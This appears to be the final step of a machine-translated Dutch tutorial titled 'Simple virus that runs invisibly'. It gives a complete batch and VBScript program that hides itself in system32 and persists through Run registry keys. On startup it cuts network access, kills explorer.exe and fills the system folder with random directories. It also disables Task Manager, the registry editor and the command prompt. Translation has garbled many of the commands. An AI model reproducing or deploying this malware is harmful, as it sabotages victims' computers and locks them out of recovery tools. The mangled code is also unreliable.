Eenvoudige virus dat onzichtbare loopt (4 / 4 stap)

Stap 4: Eindrapport

Welnu, moet uw laatste volledige batchbestand kijken iets als hieronder. Ook vergeten wat dit bestand zal doen, bijna dat deel, lol. Het uitschakelen van het internet en explorer.exe te beëindigen wanneer de computer wordt opgestart. Het maakt ook een bos van willekeurige bestanden in de systeemmap van de 32. Het zal het gebruik van de Task manager, opdrachtprompt, en register-Editor uitschakelen.

uitschakelen

goto proces
CreateObject("Wscript.Shell"). Stormloop "" "& WScript.Arguments(0) &" "", 0, False

: proces
Typ run.bat | vinden "CreateObject" | /v "type" vinden > invis.vbs

cd %windir%\system32

ECHO wscript.exe "C:\windows\system32\invis.vbs" "Data_exe.bat" > Data_exe.bat
echo uitschakelen > Data.bat
ECHO ipconfig/release >> Data.bat
ECHO taskkill explorer.exe >> Data.bat
ECHO mkdir %% willekeurige %% >> Data.bat
ECHO mkdir %% willekeurige %% >> Data.bat

reg toevoegen "HKCU\software\microsoft\windows\currentversion\run" /v veiligheid /t reg_sz /d "% windir%\system32\Data_exe.bat" /f

reg. voegt "HKLM\software\microsoft\windows\currentversion\run" /v veiligheid /t reg_sz /d "% windir%\system32\Data_exet" /f

reg. voegt 'HKLM\Software\Policies\Microsoft\Windows\System /v ontredderen /t REG_DWORD /d 2/f

reg. voegt 'HKCU\Software\Policies\Microsoft\Windows\System /v ontredderen /t REG_DWORD /d 2/f

reg toevoegen "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f toe

reg. voegt "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f toe

reg toevoegen "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f toe

reg. voegt "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f toe